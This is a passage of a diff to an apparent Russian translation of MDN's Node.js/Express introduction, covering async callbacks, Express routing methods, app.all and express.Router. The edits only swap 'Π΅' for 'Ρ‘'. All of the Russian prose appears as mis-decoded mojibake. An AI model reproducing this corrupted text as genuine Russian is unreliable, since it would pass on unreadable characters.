Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ΡΡ Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… сСкунд.</span></span></p>
<pre class="brush: js notranslate">setTimeout(function() {
console.log('First');
@@ -224,9 +224,9 @@ console.log('Second');
console.log('Second');
</pre>
-<p><span class="tlid-translation translation" lang="ru"><span title="">ИспользованиС Π½Π΅Π±Π»ΠΎΠΊΠΈΡ€ΡƒΡŽΡ‰ΠΈΡ… асинхронных API-интСрфСйсов Π΅Ρ‰Π΅ Π±ΠΎΠ»Π΅Π΅ Π²Π°ΠΆΠ½ΠΎ Π² Node, Ρ‡Π΅ΠΌ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Node - это однопоточная срСда выполнСния, управляСмая событиями.</span> <span title="">Β«ΠžΠ΄Π½ΠΎΠΏΠΎΡ‚ΠΎΡ‡Π½Ρ‹ΠΉΒ» ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ всС запросы ΠΊ сСрвСру Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅ (Π° Π½Π΅ ΠΏΠΎΡ€ΠΎΠΆΠ΄Π°ΡŽΡ‚ΡΡ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… процСссах).</span> <span title="">Π­Ρ‚Π° модСль Ρ‡Ρ€Π΅Π·Π²Ρ‹Ρ‡Π°ΠΉΠ½ΠΎ эффСктивна с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния скорости ΠΈ рСсурсов сСрвСра, Π½ΠΎ это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ссли любая ΠΈΠ· Π²Π°ΡˆΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ синхронныС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ ΠΌΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ запрос, Π½ΠΎ ΠΈ любой Π΄Ρ€ΡƒΠ³ΠΎΠΉ запрос, ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉ</span> <span title="">вашС Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅.</span><br>
+<p><span class="tlid-translation translation" lang="ru"><span title="">ИспользованиС Π½Π΅Π±Π»ΠΎΠΊΠΈΡ€ΡƒΡŽΡ‰ΠΈΡ… асинхронных API-интСрфСйсов Π΅Ρ‰Ρ‘ Π±ΠΎΠ»Π΅Π΅ Π²Π°ΠΆΠ½ΠΎ Π² Node, Ρ‡Π΅ΠΌ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Node - это однопоточная срСда выполнСния, управляСмая событиями.</span> <span title="">Β«ΠžΠ΄Π½ΠΎΠΏΠΎΡ‚ΠΎΡ‡Π½Ρ‹ΠΉΒ» ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ всС запросы ΠΊ сСрвСру Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅ (Π° Π½Π΅ ΠΏΠΎΡ€ΠΎΠΆΠ΄Π°ΡŽΡ‚ΡΡ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… процСссах).</span> <span title="">Π­Ρ‚Π° модСль Ρ‡Ρ€Π΅Π·Π²Ρ‹Ρ‡Π°ΠΉΠ½ΠΎ эффСктивна с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния скорости ΠΈ рСсурсов сСрвСра, Π½ΠΎ это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ссли любая ΠΈΠ· Π²Π°ΡˆΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ синхронныС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ ΠΌΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ запрос, Π½ΠΎ ΠΈ любой Π΄Ρ€ΡƒΠ³ΠΎΠΉ запрос, ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉ</span> <span title="">вашС Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅.</span><br>
<br>
- <span title="">Π•ΡΡ‚ΡŒ нСсколько способов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ асинхронный API увСдомляСт вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΎ.</span> <span title="">НаиболСС распространСнный способ - Π·Π°Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ асинхронного API, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ послС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ.</span> <span title="">Π­Ρ‚ΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅.</span></span></p>
+ <span title="">Π•ΡΡ‚ΡŒ нСсколько способов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ асинхронный API увСдомляСт вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΎ.</span> <span title="">НаиболСС распространённый способ - Π·Π°Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ асинхронного API, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ послС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ.</span> <span title="">Π­Ρ‚ΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅.</span></span></p>
<div class="note">
<p><span class="tlid-translation translation" lang="ru"><span title="">Π‘ΠΎΠ²Π΅Ρ‚: ИспользованиС колбэков ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ довольно «грязным», Ссли Ρƒ вас Π΅ΡΡ‚ΡŒ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ зависимых асинхронных ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ ΠΏΠΎ порядку, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ это ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ нСскольким уровням Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… колбэков.</span> <span title="">Π­Ρ‚Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° ΡˆΠΈΡ€ΠΎΠΊΠΎ извСстна ΠΊΠ°ΠΊ Β«Π°Π΄ колбэков».</span> <span title="">Π­Ρ‚Ρƒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ…ΠΎΡ€ΠΎΡˆΠΈΡ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² кодирования (см. Http://callbackhell.com/), использования Ρ‚Π°ΠΊΠΎΠ³ΠΎ модуля, ΠΊΠ°ΠΊ async, ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π° ΠΊ функциям ES6, Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠ°ΠΊ Promises.</span></span></p>
@@ -253,16 +253,16 @@ console.log('Second');
<p><span class="tlid-translation translation" lang="ru"><span title="">ΠžΠ±ΡŠΠ΅ΠΊΡ‚ прилоТСния Express Ρ‚Π°ΠΊΠΆΠ΅ прСдоставляСт ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ для опрСдСлСния ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ² для всСх Π΄Ρ€ΡƒΠ³ΠΈΡ… HTTP-Π³Π»Π°Π³ΠΎΠ»ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π² основном ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ: post (), put (), delete (), options (), trace (), copy (</span> <span title="">), lock (), mkcol (), move (), purge (), propfind (), proppatch (), unlock (), report (), mkactivity (), checkout (), merge (</span> <span title="">), m-search (), notify (), subscribe (), unsubscribe (), patch (), search () ΠΈ connect ().</span></span></p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">БущСствуСт ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ app.all (), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ Π² ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° любой ΠΌΠ΅Ρ‚ΠΎΠ΄ HTTP.</span> <span title="">Π­Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния ΠΏΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌΡƒ ΠΏΡƒΡ‚ΠΈ для всСх ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² запроса.</span> <span title="">Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ (ΠΈΠ· Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ Express) ΠΏΠΎΠΊΠ°Π·Π°Π½ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ для запросов ΠΊ / secret нСзависимо ΠΎΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ³ΠΎ Π³Π»Π°Π³ΠΎΠ»Π° HTTP (ΠΏΡ€ΠΈ условии, Ρ‡Ρ‚ΠΎ ΠΎΠ½ поддСрТиваСтся ΠΌΠΎΠ΄ΡƒΠ»Π΅ΠΌ http).</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">БущСствуСт ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ app.all (), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ Π² ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° любой ΠΌΠ΅Ρ‚ΠΎΠ΄ HTTP.</span> <span title="">Π­Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния ΠΏΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌΡƒ ΠΏΡƒΡ‚ΠΈ для всСх ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² запроса.</span> <span title="">Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ (ΠΈΠ· Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ Express) ΠΏΠΎΠΊΠ°Π·Π°Π½ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ для запросов ΠΊ / secret нСзависимо ΠΎΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ³ΠΎ Π³Π»Π°Π³ΠΎΠ»Π° HTTP (ΠΏΡ€ΠΈ условии, Ρ‡Ρ‚ΠΎ ΠΎΠ½ поддСрТиваСтся ΠΌΠΎΠ΄ΡƒΠ»Π΅ΠΌ http).</span></span></p>
<pre class="brush: js notranslate">app.all('/secret', function(req, res, next) {
console.log('Accessing the secret section ...');
next(); // pass control to the next handler
});</pre>
-<p><span class="tlid-translation translation" lang="ru"><span title="">ΠœΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΡΠΎΠΏΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ символов Π² URL-адрСсС, ΠΈΠ·Π²Π»Π΅ΠΊΠ°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ значСния ΠΈΠ· URL-адрСса ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ ΠΈΡ… Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΡƒ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π° (Π² качСствС Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° запроса, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΠΎΠ³ΠΎ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°).</span><br>
+<p><span class="tlid-translation translation" lang="ru"><span title="">ΠœΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΡΠΎΠΏΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ символов Π² URL-адрСсС, ΠΈΠ·Π²Π»Π΅ΠΊΠ°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ значСния ΠΈΠ· URL-адрСса ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ ΠΈΡ… Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΡƒ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π° (Π² качСствС Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° запроса, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΠΎΠ³ΠΎ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°).</span><br>
<br>
- <span title="">Часто ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π³Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ² для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ части сайта ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΠΊ Π½ΠΈΠΌ доступ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠ±Ρ‰Π΅Π³ΠΎ прСфикса ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, сайт с Π²ΠΈΠΊΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ всС связанныС с Π²ΠΈΠΊΠΈ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹ Π² ΠΎΠ΄Π½ΠΎΠΌ Ρ„Π°ΠΉΠ»Π΅ ΠΈ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΊ Π½ΠΈΠΌ доступ с прСфиксом ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π°</span> <span title="">ΠΈΠ· / Π²ΠΈΠΊΠΈ /).</span> <span title="">Π’ Express это достигаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° express.Router.</span> <span title="">НапримСр, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ наш Π²ΠΈΠΊΠΈ-ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ Π² ΠΌΠΎΠ΄ΡƒΠ»Π΅ с ΠΈΠΌΠ΅Π½Π΅ΠΌ wiki.js, Π° Π·Π°Ρ‚Π΅ΠΌ ΡΠΊΡΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Router, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅:</span></span></p>
+ <span title="">Часто ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π³Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ² для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ части сайта ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΠΊ Π½ΠΈΠΌ доступ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠ±Ρ‰Π΅Π³ΠΎ прСфикса ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, сайт с Π²ΠΈΠΊΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ всС связанныС с Π²ΠΈΠΊΠΈ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹ Π² ΠΎΠ΄Π½ΠΎΠΌ Ρ„Π°ΠΉΠ»Π΅ ΠΈ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΊ Π½ΠΈΠΌ доступ с прСфиксом ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π°</span> <span title="">ΠΈΠ· / Π²ΠΈΠΊΠΈ /).</span> <span title="">Π’ Express это достигаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° express.Router.</span> <span title="">НапримСр, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ наш Π²ΠΈΠΊΠΈ-ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ Π² ΠΌΠΎΠ΄ΡƒΠ»Π΅ с ΠΈΠΌΠ΅Π½Π΅ΠΌ wiki.js, Π° Π·Π°Ρ‚Π΅ΠΌ ΡΠΊΡΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Router, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅:</span></span></p>
<pre class="brush: js notranslate">// wiki.js - Wiki route module
@@ -304,7 +304,7 @@ app.use('/wiki', wiki);</pre>
<p><span class="tlid-translation translation" lang="ru"><span title="">Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ стороннСС ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ обСспСчСниС для упрощСния ΠΎΠ±Ρ‰ΠΈΡ… Π·Π°Π΄Π°Ρ‡ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π° с Ρ„Π°ΠΉΠ»Π°ΠΌΠΈ cookie, сСссиями, Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠ΅ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, доступом ΠΊ Π΄Π°Π½Π½Ρ‹ΠΌ запросов POST ΠΈ JSON, Π²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΆΡƒΡ€Π½Π°Π»Π° ΠΈ Ρ‚. Π΄. Бписок ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ… ΠΊΠΎΠΌΠ°Π½Π΄ΠΎΠΉ Express, ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ.</span> <span title="">(ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя Π΄Ρ€ΡƒΠ³ΠΈΠ΅ популярныС сторонниС ΠΏΠ°ΠΊΠ΅Ρ‚Ρ‹).</span> <span title="">Π”Ρ€ΡƒΠ³ΠΈΠ΅ экспрСсс-ΠΏΠ°ΠΊΠ΅Ρ‚Ρ‹ доступны Π² диспСтчСрС ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² NPM.</span><br>
<br>
- <span title="">Для использования стороннСго ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния сначала Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² своС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ NPM.</span> <span title="">НапримСр, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ обСспСчСниС срСдства рСгистрации HTTP-запросов morgan, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:</span></span></p>
